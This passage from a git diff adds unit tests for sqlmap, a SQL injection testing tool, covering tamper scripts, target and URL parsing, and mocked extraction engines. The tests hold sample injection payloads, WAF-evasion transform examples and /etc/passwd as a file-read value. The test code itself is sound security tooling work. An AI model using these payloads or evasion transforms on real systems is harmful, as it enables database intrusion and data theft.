sorted(os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")) + +# realistic, non-empty payloads (incl. unicode via escape, and a long one) +PAYLOADS = [ + "1 AND 2=2", + "1 UNION SELECT NULL,NULL-- -", + "1 AND (SELECT 1 FROM dual)>0", + "1 AND '1'='1", + "admin'-- -", + u"1 AND name='caf\xe9'", + "1 AND " + "A" * 64, # modest "longer" payload +] + +KNOWN_FRAGILE = set() # percentage/escapequotes empty/None crashes were FIXED by the author; now covered below +# luanginxmore floods 4.2M parameters to overflow Lua-Nginx WAFs (the huge count is intentional). +# That padding is now built ONCE and cached, not rebuilt per request (it used to cost ~11s + 16MB on +# EVERY request). Still excluded from the battery below because the one-time cold build is slow; +# the caching itself is covered by TestLuanginxmoreCached. +HEAVY = {"luanginxmore"} + +# Project contract for falsy input: tamper("") == "" and tamper(None) is None +# (the common idiom `if payload: ...; return payload` passes "" and None through unchanged). +# These tampers legitimately deviate for None: they initialize `retVal = ""` and only reassign +# it inside `if payload:`, so any falsy payload (both "" AND None) returns "" -- i.e. None is +# normalized to "" instead of being passed through. tamper("") == "" still holds for them. +NONE_RETURNS_EMPTY = { + "sp_password", # retVal = ""; reassigned only inside `if payload:` + "space2dash", # retVal = ""; reassigned only inside `if payload:` + "space2hash", # retVal = ""; reassigned only inside `if payload:` + "space2morehash", # retVal = ""; reassigned only inside `if payload:` + "space2mssqlhash", # retVal = ""; reassigned only inside `if payload:` + "space2mysqldash", # retVal = ""; reassigned only inside `if payload:` +} + + +class TestTamperRobustness(unittest.TestCase): + def test_no_crash_returns_string(self): + for name in TAMPERS: + if name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + for p in PAYLOADS: + try: + r = mod.tamper(p) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, p[:25], ex)) + self.assertTrue(isinstance(r, six.string_types), + msg="tamper '%s' returned %s for %r" % (name, type(r).__name__, p[:25])) + + +class TestTamperEmptyNoneHandling(unittest.TestCase): + def test_graceful_on_empty_and_none(self): + # Assert the actual return contract on falsy input, not merely "does not raise": + # tamper("") == "" and tamper(None) is None + # (NONE_RETURNS_EMPTY tampers normalize None to "" -- see comment on that set.) + for name in TAMPERS: + if name in KNOWN_FRAGILE or name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + + try: + empty_result = mod.tamper("") + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, "", ex)) + self.assertEqual(empty_result, "", + msg="tamper '%s' returned %r for '' (expected '')" % (name, empty_result)) + + try: + none_result = mod.tamper(None) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, None, ex)) + if name in NONE_RETURNS_EMPTY: + self.assertEqual(none_result, "", + msg="tamper '%s' returned %r for None (expected '' per NONE_RETURNS_EMPTY)" % (name, none_result)) + else: + self.assertIsNone(none_result, + msg="tamper '%s' returned %r for None (expected None)" % (name, none_result)) + + def test_previously_fragile_now_fixed(self): + # regression pin: percentage/escapequotes used to crash on empty/None; now must be graceful + import tamper.percentage as _p + import tamper.escapequotes as _e + self.assertEqual(_p.tamper(""), "") + self.assertIsNone(_p.tamper(None)) + self.assertEqual(_e.tamper(""), "") + self.assertIsNone(_e.tamper(None)) + + +class TestKnownTransforms(unittest.TestCase): + # authoritative input->output taken from each tamper's own doctest + CASES = { + "space2comment": ("SELECT id FROM users", "SELECT/**/id/**/FROM/**/users"), + "between": ("1 AND A > B--", "1 AND A NOT BETWEEN 0 AND B--"), + "charencode": ("SELECT FIELD FROM%20TABLE", + "%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45"), + "apostrophemask": ("1 AND '1'='1", "1 AND %EF%BC%871%EF%BC%87=%EF%BC%871"), + "equaltolike": ("SELECT * FROM users WHERE id=1", "SELECT * FROM users WHERE id LIKE 1"), + "percentage": ("SELECT FIELD FROM TABLE", "%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E"), + # additional deterministic transforms (verified stable across repeated calls) + "space2plus": ("1 AND 2>1", "1+AND+2>1"), + "unionalltounion": ("1 UNION ALL SELECT 2", "1 UNION SELECT 2"), + "halfversionedmorekeywords": ("1 AND 2>1", "1/*!0AND 2>1"), + "versionedkeywords": ("1 AND 2>1", "1/*!AND*/2>1"), + "appendnullbyte": ("1", "1%00"), + "base64encode": ("1 AND 1=1", "MSBBTkQgMT0x"), + "greatest": ("1 AND A>B", "1 AND GREATEST(A,B+1)=A"), + "ifnull2ifisnull": ("IFNULL(a,b)", "IF(ISNULL(a),b,a)"), + "symboliclogical": ("1 AND 2 OR 3", "1 %26%26 2 %7C%7C 3"), + "bluecoat": ("1 AND 2=2", "1 AND%092 LIKE 2"), + "apostrophenullencode": ("'", "%00%27"), + } + + def test_transforms(self): + for name, (inp, expected) in self.CASES.items(): + mod = importlib.import_module("tamper.%s" % name) + self.assertEqual(mod.tamper(inp), expected, msg="tamper '%s'(%r)" % (name, inp)) + + +class TestLuanginxmoreCached(unittest.TestCase): + """luanginxmore's 4.2M-parameter padding is arbitrary and identical every request, so it must be + built once and reused - not regenerated per request (that cost ~11s + 16MB per HTTP request, + making the tamper unusable). xrange is shrunk so the test stays instant.""" + + def test_prepend_built_once(self): + import tamper.luanginxmore as t + from lib.core.enums import HINT + + original = t.xrange + t._prepend.clear() + t.xrange = lambda n: range(min(n, 8)) # 4.2M -> 8 so the build is instant + try: + h1, h2 = {}, {} + t.tamper("1 AND 2>1", hints=h1) + t.tamper("1 AND 2>1", hints=h2) + finally: + t.xrange = original + t._prepend.clear() + + # both requests must reuse the SAME cached object; a per-request rebuild yields distinct ones + self.assertIs(h1[HINT.PREPEND], h2[HINT.PREPEND]) + self.assertEqual(h1[HINT.PREPEND].count("="), 8) + + +class TestTamperCount(unittest.TestCase): + def test_expected_count(self): + # there are currently 70 tamper scripts; floor at 70 so an accidental deletion (or a glob + # that silently stops matching) fails loudly rather than passing on a shrunken set + self.assertGreaterEqual(len(TAMPERS), 70, msg="expected >=70 tampers, found %d" % len(TAMPERS)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_target_parsing.py b/tests/test_target_parsing.py new file mode 100644 index 00000000000..f7b8897f534 --- /dev/null +++ b/tests/test_target_parsing.py @@ -0,0 +1,573 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Target-environment setup in lib/core/target.py. + +target.py wires a single scan's per-host state together: it derives the output / +dump / files directories from the hostname, opens (and optionally flushes) the +HashDB session file, resumes a previously-fingerprinted DBMS/OS and stored kb +values out of that session, decides the custom injection marker, normalizes the +POST body (url-decode / base64), splits GET/POST/Cookie/header strings into the +testable paramDict, and restores the per-target merged options between targets. + +None of that needs a live HTTP target or a real DBMS connection: every function +reads conf/kb globals (which are set up here per-test and restored in tearDown) +and at most touches the local filesystem (pointed at a private temp tree) or a +local SQLite session file. Those side-effecting paths are still pure with +respect to the network, so they are exercised here against real temp dirs. + +Expected values below are independently derived (parameter splits, dir creation, resume +round-trips) - NOT harvested from the SUT's own output. +""" + +import atexit +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, reset_dbms +bootstrap() + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import mergedOptions +from lib.core.data import paths +from lib.core.common import Backend +from lib.core.common import hashDBWrite +from lib.core.enums import HASHDB_KEYS +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PLACE +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import RESTORE_MERGED_OPTIONS +from lib.core.settings import UNENCODED_ORIGINAL_VALUE +from lib.core.threads import getCurrentThreadData +from lib.utils.hashdb import HashDB +import lib.core.target as target +from lib.core.target import _createDumpDir +from lib.core.target import _createFilesDir +from lib.core.target import _createTargetDirs +from lib.core.target import _resumeDBMS +from lib.core.target import _resumeHashDBValues +from lib.core.target import _resumeOS +from lib.core.target import _restoreMergedOptions +from lib.core.target import _setAuxOptions +from lib.core.target import _setHashDB +from lib.core.target import _setRequestParams +from lib.core.target import _setResultsFile +from lib.core.target import initTargetEnv + +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) + +# conf/kb keys that the tests below mutate; saved in setUp, restored in tearDown so +# one test can never leak global state into another (or into the rest of the suite). +_CONF_KEYS = ( + "direct", "parameters", "paramDict", "method", "data", "cookie", "httpHeaders", + "testParameter", "csrfToken", "url", "forms", "crawlDepth", "hostname", "path", + "port", "dbms", "os", "offline", "tmpPath", "technique", "dumpTable", "dumpAll", + "search", "fileRead", "commonFiles", "dumpPath", "filePath", "outputPath", + "hashDB", "hashDBFile", "sessionFile", "flushSession", "freshQueries", + "multipleTargets", "resultsFP", "resultsFile", "base64Parameter", "forceDbms", +) +_KB_KEYS = ( + "processUserMarks", "postHint", "customInjectionMark", "testOnlyCustom", + "resumeValues", "aliasName", "errorChunkLength", "xpCmdshellAvailable", + "chars", "originalUrls", "postUrlEncode", "postSpaceToPlus", +) +_PATH_KEYS = ("SQLMAP_OUTPUT_PATH", "SQLMAP_DUMP_PATH", "SQLMAP_FILES_PATH") + + +class _TargetTestBase(unittest.TestCase): + """Snapshot/restore conf, kb and paths globals around each test.""" + + def setUp(self): + self._conf = {k: conf.get(k) for k in _CONF_KEYS} + self._kb = {k: kb.get(k) for k in _KB_KEYS} + self._paths = {k: paths.get(k) for k in _PATH_KEYS} + # _resumeDBMS/_resumeOS mutate these kb fields via Backend.set* (not in _KB_KEYS) + self._dbms = kb.get("dbms") + self._forcedDbms = kb.get("forcedDbms") + self._tmpdirs = [] + + def tearDown(self): + # close any session DB we opened before restoring globals + if conf.get("hashDB"): + try: + conf.hashDB.close() + except Exception: + pass + getCurrentThreadData().hashDBCursor = None + if conf.get("resultsFP"): + try: + conf.resultsFP.close() + except Exception: + pass + for k, v in self._conf.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + for k, v in self._paths.items(): + paths[k] = v + kb.dbms = self._dbms # _resumeDBMS may have set an identified DBMS + kb.forcedDbms = self._forcedDbms + for d in self._tmpdirs: + shutil.rmtree(d, ignore_errors=True) + + def _outdir(self, name): + d = os.path.join(SCRATCH, name) + shutil.rmtree(d, ignore_errors=True) + self._tmpdirs.append(d) + paths.SQLMAP_OUTPUT_PATH = d + paths.SQLMAP_DUMP_PATH = os.path.join(d, "%s", "dump") + paths.SQLMAP_FILES_PATH = os.path.join(d, "%s", "files") + return d + + def _new_hashdb(self): + handle, path = tempfile.mkstemp(suffix=".sqlite", dir=SCRATCH) + os.close(handle) + os.remove(path) + getCurrentThreadData().hashDBCursor = None + conf.hashDB = HashDB(path) + conf.hostname = "h" + conf.path = "/" + conf.port = 80 + kb.resumeValues = True + conf.flushSession = False + conf.freshQueries = False + # another test file may have force-set a DBMS via set_dbms(); a leaked forcedDbms + # takes precedence in getIdentifiedDbms() and would mask what _resumeDBMS resolves + conf.forceDbms = None + kb.forcedDbms = None + kb.dbms = None + self.addCleanup(self._cleanup_hashdb, path) + return path + + def _cleanup_hashdb(self, path): + for f in (path, path + "-wal", path + "-shm"): + if os.path.exists(f): + try: + os.remove(f) + except OSError: + pass + + +class TestRestoreMergedOptions(_TargetTestBase): + def test_restores_each_option_from_mergedOptions(self): + # conf is restored as carefully as mergedOptions: this leaves 'VAL_' in conf otherwise, + # and conf.string / conf.textOnly are read by the shared page-comparison oracle - a stray + # sentinel there makes every later boolean differential in the process answer false + saved = {} + savedConf = {} + for opt in RESTORE_MERGED_OPTIONS: + saved[opt] = mergedOptions.get(opt) + savedConf[opt] = conf.get(opt) + mergedOptions[opt] = "VAL_%s" % opt + conf[opt] = "tampered" + try: + _restoreMergedOptions() + for opt in RESTORE_MERGED_OPTIONS: + self.assertEqual(conf[opt], "VAL_%s" % opt, + msg="option %r not restored from mergedOptions" % opt) + finally: + for opt, v in saved.items(): + mergedOptions[opt] = v + for opt, v in savedConf.items(): + conf[opt] = v + + +class TestSetAuxOptions(_TargetTestBase): + def test_alias_is_nonempty_string(self): + conf.hostname = "example.com" + _setAuxOptions() + self.assertIsInstance(kb.aliasName, str) + self.assertTrue(kb.aliasName) + + def test_alias_deterministic_for_same_host(self): + conf.hostname = "example.com" + _setAuxOptions() + first = kb.aliasName + _setAuxOptions() + self.assertEqual(kb.aliasName, first) + + def test_alias_handles_none_host(self): + conf.hostname = None + _setAuxOptions() # seed=hash("") must not raise + self.assertIsInstance(kb.aliasName, str) + + +class TestInitTargetEnv(_TargetTestBase): + def _base(self): + conf.url = "http://h/?id=1" + conf.data = None + conf.httpHeaders = [] + conf.base64Parameter = None + conf.multipleTargets = False + + def test_default_injection_marker(self): + self._base() + initTargetEnv() + self.assertEqual(kb.customInjectionMark, CUSTOM_INJECTION_MARK_CHAR) + + def test_inject_here_marker_detected(self): + self._base() + conf.url = "http://h/?id=%INJECT_HERE%" + initTargetEnv() + self.assertEqual(kb.customInjectionMark, "%INJECT_HERE%") + + def test_urlencoded_post_body_is_decoded(self): + self._base() + conf.url = "http://h/" + conf.data = "id=a%20b" + conf.httpHeaders = [("Content-Type", "application/x-www-form-urlencoded")] + initTargetEnv() + self.assertTrue(kb.postUrlEncode) + self.assertEqual(str(conf.data), "id=a b") + # the raw (still-encoded) original is preserved as an attribute for later re-encoding + self.assertEqual(getattr(conf.data, UNENCODED_ORIGINAL_VALUE, None), "id=a%20b") + + def test_non_urlencoded_content_type_skips_decode(self): + self._base() + conf.url = "http://h/" + conf.data = "id=a%20b" + conf.httpHeaders = [("Content-Type", "application/json")] + conf.base64Parameter = None + initTargetEnv() + self.assertFalse(kb.postUrlEncode) + + def test_base64_post_body_is_decoded(self): + self._base() + conf.url = "http://h/" + conf.data = "aWQ9MQ==" # base64 of "id=1" + conf.httpHeaders = [("Content-Type", "application/json")] + conf.base64Parameter = "POST" + initTargetEnv() + self.assertEqual(str(conf.data), "id=1") + self.assertEqual(getattr(conf.data, UNENCODED_ORIGINAL_VALUE, None), "aWQ9MQ==") + + +class TestSetRequestParams(_TargetTestBase): + def _fresh(self): + conf.direct = None + conf.parameters = {} + conf.paramDict = {} + conf.method = HTTPMETHOD.GET + conf.data = None + conf.cookie = None + conf.httpHeaders = [] + conf.testParameter = None + conf.csrfToken = None + conf.url = "http://h/" + conf.forms = False + conf.crawlDepth = None + kb.processUserMarks = None + kb.postHint = None + kb.customInjectionMark = "*" + kb.testOnlyCustom = False + + def test_direct_connection_shortcut(self): + self._fresh() + conf.direct = "mysql://u:p@h/db" + conf.parameters = {} + _setRequestParams() + self.assertEqual(conf.parameters[None], "direct connection") + + def test_get_parameters_split(self): + self._fresh() + conf.parameters = {PLACE.GET: "id=1&name=foo"} + conf.url = "http://h/?id=1&name=foo" + _setRequestParams() + self.assertEqual(dict(conf.paramDict[PLACE.GET]), {"id": "1", "name": "foo"}) + + def test_post_parameters_split(self): + self._fresh() + conf.method = HTTPMETHOD.POST + conf.data = "a=1&b=2" + _setRequestParams() + self.assertEqual(dict(conf.paramDict[PLACE.POST]), {"a": "1", "b": "2"}) + + def test_cookie_parameters_split(self): + self._fresh() + conf.parameters = {PLACE.GET: "id=1"} + conf.url = "http://h/?id=1" + conf.cookie = "sess=abc; uid=5" + _setRequestParams() + self.assertIn(PLACE.COOKIE, conf.paramDict) + self.assertEqual(dict(conf.paramDict[PLACE.COOKIE]), {"sess": "abc", "uid": "5"}) + + def test_user_agent_header_is_testable(self): + self._fresh() + conf.httpHeaders = [(HTTP_HEADER.USER_AGENT, "Mozilla")] + _setRequestParams() + self.assertIn(PLACE.USER_AGENT, conf.paramDict) + + def test_referer_header_is_testable(self): + self._fresh() + conf.httpHeaders = [(HTTP_HEADER.REFERER, "http://ref/")] + _setRequestParams() + self.assertIn(PLACE.REFERER, conf.paramDict) + + def test_no_parameters_raises(self): + self._fresh() + with self.assertRaises(SqlmapGenericException): + _setRequestParams() + + def test_empty_post_body_defaults_to_empty_string(self): + self._fresh() + conf.method = HTTPMETHOD.POST + conf.data = None + conf.parameters = {PLACE.GET: "id=1"} # keep a testable param so it doesn't raise + conf.url = "http://h/?id=1" + _setRequestParams() + self.assertEqual(conf.data, "") + + +class TestResumeDBMS(_TargetTestBase): + def test_resumes_dbms_with_version(self): + self._new_hashdb() + conf.dbms = None + conf.offline = False + hashDBWrite(HASHDB_KEYS.DBMS, "MySQL 5.0") + _resumeDBMS() + self.assertEqual(Backend.getIdentifiedDbms(), "MySQL") + + def test_no_stored_dbms_returns_quietly(self): + self._new_hashdb() + conf.dbms = None + conf.offline = False + _resumeDBMS() # nothing stored: must just return + # the quiet-return branch must leave NO DBMS identified (a real + # side-effect assertion, not merely "did not raise") + self.assertIsNone(Backend.getIdentifiedDbms()) + + def test_offline_without_session_raises(self): + self._new_hashdb() + conf.dbms = None + conf.offline = True + with self.assertRaises(SqlmapNoneDataException): + _resumeDBMS() + + def test_survives_broken_re_module(self): + # a Python 3.13/3.14 're' module regression can make re.search() raise TypeError on an + # otherwise-valid pattern (#6128, #6137) - must fall back to "no match" (the stored value + # used as-is) instead of crashing the whole resume + self._new_hashdb() + conf.dbms = None + conf.offline = False + hashDBWrite(HASHDB_KEYS.DBMS, "MySQL 5.0") + + originalRe = target.re + + class _BrokenRe(object): + I = originalRe.I + + def search(self, *args, **kwargs): + raise TypeError("list.append() takes exactly one argument (2 given)") + + target.re = _BrokenRe() + try: + _resumeDBMS() + finally: + target.re = originalRe + + self.assertIsNone(Backend.getIdentifiedDbms()) + + +class TestResumeOS(_TargetTestBase): + def test_resumes_os(self): + self._new_hashdb() + conf.os = None + hashDBWrite(HASHDB_KEYS.OS, "Linux") + _resumeOS() + self.assertEqual(conf.os, "Linux") + + def test_no_stored_os_returns_quietly(self): + self._new_hashdb() + conf.os = None + _resumeOS() + self.assertIsNone(conf.os) + + def test_stored_none_string_is_ignored(self): + self._new_hashdb() + conf.os = None + hashDBWrite(HASHDB_KEYS.OS, "None") + _resumeOS() + self.assertIsNone(conf.os) + + +class TestResumeHashDBValues(_TargetTestBase): + def _base(self): + self._new_hashdb() + conf.dbms = None + conf.offline = False + conf.os = None + conf.tmpPath = None + conf.technique = None + conf.paramDict = {} + + def test_resumes_serialized_chars(self): + self._base() + kb.chars = None + hashDBWrite(HASHDB_KEYS.KB_CHARS, {"a": 1}, serialize=True) + _resumeHashDBValues() + self.assertEqual(kb.chars, {"a": 1}) + + def test_resumes_numeric_error_chunk_length(self): + self._base() + kb.errorChunkLength = None + hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, "5") + _resumeHashDBValues() + self.assertEqual(kb.errorChunkLength, 5) + + def test_non_numeric_chunk_length_becomes_none(self): + self._base() + kb.errorChunkLength = 99 + hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, "notanumber") + _resumeHashDBValues() + self.assertIsNone(kb.errorChunkLength) + + def test_xp_cmdshell_true_coerced_to_bool(self): + self._base() + kb.xpCmdshellAvailable = False + hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, str(True)) + _resumeHashDBValues() + self.assertIs(kb.xpCmdshellAvailable, True) + + +class TestSetHashDB(_TargetTestBase): + def test_derives_session_file_under_output_path(self): + out = self._outdir("hdb_out") + os.makedirs(out) + getCurrentThreadData().hashDBCursor = None + conf.hashDBFile = None + conf.sessionFile = None + conf.outputPath = out + conf.flushSession = False + conf.hashDB = None + _setHashDB() + self.assertTrue(conf.hashDBFile.startswith(out)) + self.assertIsInstance(conf.hashDB, HashDB) + + def test_explicit_session_file_takes_precedence(self): + out = self._outdir("hdb_out2") + os.makedirs(out) + sess = os.path.join(out, "custom.sqlite") + getCurrentThreadData().hashDBCursor = None + conf.hashDBFile = None + conf.sessionFile = sess + conf.outputPath = out + conf.flushSession = False + conf.hashDB = None + _setHashDB() + self.assertEqual(conf.hashDBFile, sess) + + +class TestCreateDirs(_TargetTestBase): + def test_dump_dir_skipped_without_dump_flags(self): + self._outdir("d_out") + conf.hostname = "example.com" + conf.dumpPath = None + conf.dumpTable = False + conf.dumpAll = False + conf.search = False + _createDumpDir() + self.assertIsNone(conf.dumpPath) + + def test_dump_dir_created_per_host(self): + self._outdir("d_out2") + conf.hostname = "example.com" + conf.dumpTable = True + conf.dumpAll = False + conf.search = False + _createDumpDir() + self.assertTrue(os.path.isdir(conf.dumpPath)) + self.assertIn("example.com", conf.dumpPath) + + def test_files_dir_skipped_without_file_flags(self): + self._outdir("f_out") + conf.hostname = "example.com" + conf.filePath = None + conf.fileRead = None + conf.commonFiles = None + _createFilesDir() + self.assertIsNone(conf.filePath) + + def test_files_dir_created_per_host(self): + self._outdir("f_out2") + conf.hostname = "example.com" + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + _createFilesDir() + self.assertTrue(os.path.isdir(conf.filePath)) + self.assertIn("example.com", conf.filePath) + + def test_files_dir_survives_percent_in_output_dir(self): + # --output-dir carries a literal '%' straight into SQLMAP_FILES_PATH (e.g. an unexpanded + # '$(date +%Y%m%d)' on a shell without command substitution, as in #6133) - the '%' operator + # would try to parse '%Y' as a format directive and crash; safeStringFormat() must not + self._outdir("f_out_%Y%m%d_%H%M%S") + conf.hostname = "example.com" + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + _createFilesDir() + self.assertTrue(os.path.isdir(conf.filePath)) + self.assertIn("example.com", conf.filePath) + + def test_target_dir_and_target_txt(self): + self._outdir("t_out") + conf.hostname = "example.com" + conf.url = "http://example.com/?id=1" + conf.data = None + conf.dumpTable = False + conf.dumpAll = False + conf.search = False + conf.fileRead = None + conf.commonFiles = None + kb.originalUrls = {} + _createTargetDirs() + self.assertTrue(os.path.isdir(conf.outputPath)) + target = os.path.join(conf.outputPath, "target.txt") + self.assertTrue(os.path.exists(target)) + with open(target) as f: + content = f.read() + self.assertIn("http://example.com/?id=1", content) + self.assertIn("(%s)" % HTTPMETHOD.GET, content) + + +class TestSetResultsFile(_TargetTestBase): + def test_skipped_when_not_multiple_targets(self): + self._outdir("r_out") + conf.multipleTargets = False + conf.resultsFP = None + _setResultsFile() + self.assertIsNone(conf.resultsFP) + + def test_creates_csv_with_header_in_multiple_target_mode(self): + out = self._outdir("r_out2") + os.makedirs(out) + conf.multipleTargets = True + conf.resultsFile = os.path.join(out, "res.csv") + conf.resultsFP = None + _setResultsFile() + self.assertTrue(os.path.exists(conf.resultsFile)) + conf.resultsFP.flush() + with open(conf.resultsFile) as f: + header = f.readline() + self.assertIn("Target URL", header) + self.assertIn("Parameter", header) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_targeturl.py b/tests/test_targeturl.py new file mode 100644 index 00000000000..6db349a85c4 --- /dev/null +++ b/tests/test_targeturl.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Target URL parsing (lib/core/common.py parseTargetUrl). + +parseTargetUrl reads conf.url and populates conf.hostname / conf.port / +conf.scheme / conf.path - the values every subsequent request is built from. A +wrong default port or dropped scheme here misdirects the entire scan, so the +scheme/default-port/explicit-port/path cases are pinned. + +Inline URL credentials (user:pw@host) are stripped so the host/port parse +correctly - previously the userinfo was mistaken for the host (user:pass@host -> +hostname 'user'). The credentials are still NOT used for authentication (sqlmap +warns and expects --auth-cred); only the host-misparse is fixed. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import parseTargetUrl +from lib.core.data import conf + +_TARGETURL_KEYS = ("url", "hostname", "port", "scheme", "path") +_saved = {} + + +def setUpModule(): + for k in _TARGETURL_KEYS: + _saved[k] = conf.get(k) + + +def tearDownModule(): + # parseTargetUrl() writes these onto the global conf singleton; restore so it can't leak to later modules + for k, v in _saved.items(): + conf[k] = v + + +def _parse(url): + conf.url = url + parseTargetUrl() + return conf.hostname, conf.port, conf.scheme, conf.path + + +class TestScheme(unittest.TestCase): + def test_http(self): + host, port, scheme, _ = _parse("http://host/p?id=1") + self.assertEqual((host, scheme), ("host", "http")) + + def test_https(self): + _, _, scheme, _ = _parse("https://host/p") + self.assertEqual(scheme, "https") + + +class TestDefaultPorts(unittest.TestCase): + def test_http_default_80(self): + self.assertEqual(_parse("http://h/")[1], 80) + + def test_https_default_443(self): + self.assertEqual(_parse("https://h/")[1], 443) + + def test_no_trailing_slash(self): + host, port, scheme, _ = _parse("http://h") + self.assertEqual((host, port), ("h", 80)) + + +class TestExplicitPort(unittest.TestCase): + def test_explicit_port(self): + host, port, scheme, _ = _parse("https://example.com:8443/x") + self.assertEqual((host, port, scheme), ("example.com", 8443, "https")) + + +class TestPath(unittest.TestCase): + def test_path_extracted(self): + self.assertEqual(_parse("http://host/some/path?q=1")[3], "/some/path") + + +class TestInlineCredentials(unittest.TestCase): + """Userinfo (user:pw@) must be stripped from the host, not mistaken for it.""" + + def test_user_pass_with_port(self): + host, port, _, _ = _parse("http://user:pass@host:8080/?id=1") + self.assertEqual((host, port), ("host", 8080)) + + def test_user_pass_default_port(self): + host, port, _, _ = _parse("http://user:pass@host/?id=1") + self.assertEqual((host, port), ("host", 80)) + + def test_user_only(self): + self.assertEqual(_parse("http://user@host/?id=1")[0], "host") + + def test_credentials_with_ipv6(self): + host, port, _, _ = _parse("http://user:pass@[::1]:8443/?id=1") + self.assertEqual((host, port), ("::1", 8443)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_techniques.py b/tests/test_techniques.py new file mode 100644 index 00000000000..5ccdeffa314 --- /dev/null +++ b/tests/test_techniques.py @@ -0,0 +1,1793 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Mocked-oracle / canned-input coverage for the self-contained extraction / +inference engines under lib/techniques/*: + + * lib/techniques/union/use.py - _oneShotUnionUse / unionUse / configUnion + * lib/techniques/error/use.py - _oneShotErrorUse / _errorFields / errorUse + * lib/techniques/ldap/inject.py - boolean-blind LDAP oracle + blind char inference + * lib/techniques/graphql/inject.py - schema walk, query building, blind-SQLi inference + * lib/techniques/blind/inference.py - bisection / queryOutputLength edge branches + +The established pattern (see tests/test_inference_engine.py, +tests/test_union_engine.py) is followed: the network seam (Request.queryPage / +Request.getPage / the per-module _send / _gqlSend) and the forge/escape chain are +replaced by a deterministic in-process oracle that answers against a known secret, +so the REAL extraction / parsing / bisection logic runs with no live target, +no network and no DBMS. + +stdlib unittest only; works on Python 2.7 and 3.x. +""" + +import os +import re +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms, save_attrs, restore_attrs +bootstrap() + +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getCurrentThreadData +from lib.core.common import hashDBWrite +from lib.core.common import setTechnique +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import PARTIAL_VALUE_MARKER +from lib.core.agent import agent +from lib.core.unescaper import unescaper +from lib.request.connect import Connect +from lib.request.connect import Connect as Request +from lib.request import inject +from lib.utils.hashdb import HashDB + +import lib.techniques.union.use as uu +import lib.techniques.error.use as eu +import lib.techniques.ldap.inject as ldap +import lib.techniques.graphql.inject as gql +import lib.techniques.blind.inference as inf + + +# =========================================================================== +# UNION: lib/techniques/union/use.py +# =========================================================================== + +# A UNION injection vector is a tuple consumed positionally by _oneShotUnionUse / +# forgeUnionQuery (vector[0..10]). The exact contents do not matter here because the +# forge chain is stubbed to a pass-through; only the indexes the function itself reads +# (7=unionDuplicates, 8=forcePartialUnion, 9=tableFrom, 10=unionTemplate) carry meaning. +_UNION_VECTOR = (1, 2, None, "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + +_UU_CONF = {"hexConvert": False, "limitStart": 0, "limitStop": 0, "pageEncoding": None, + "forcePartial": False, "disableJson": False, "binaryFields": None, + "reportJson": False, "api": False, "threads": 1, "verbose": 0, "eta": False, + "noTruncate": True, "uFrom": None} +_UU_KB = {"jsonAggMode": False, "respTruncated": False, "unionDuplicates": False, + "forcePartialUnion": False, "tableFrom": None, "unionTemplate": None, + "nchar": False, "pageEncoding": None, "bruteMode": False, "partRun": None, + "suppressResumeInfo": False} + + +def _wrap(start, body, stop=None): + """Wrap a value in the current UNION markers, exactly as the target page would.""" + return "%s%s%s" % (start, body, stop if stop is not None else kb.chars.stop) + + +class _UnionCase(unittest.TestCase): + """Base: stub the forge/escape/transport seam so _oneShotUnionUse's OWN parsing + (marker extraction, hashDB caching, json-agg, trimming, retry) is what is exercised.""" + + def setUp(self): + self._sc = {k: conf.get(k) for k in _UU_CONF} + self._sk = {k: kb.get(k) for k in _UU_KB} + self._sqp = Request.queryPage + self._scounters = kb.get("counters") + self._sinj_data = kb.injection.data + self._shashdb = conf.get("hashDB") + self._s_agent = save_attrs(agent, "forgeUnionQuery", "concatQuery", "payload") + self._s_escape = unescaper.escape + + for k, v in _UU_CONF.items(): + conf[k] = v + for k, v in _UU_KB.items(): + 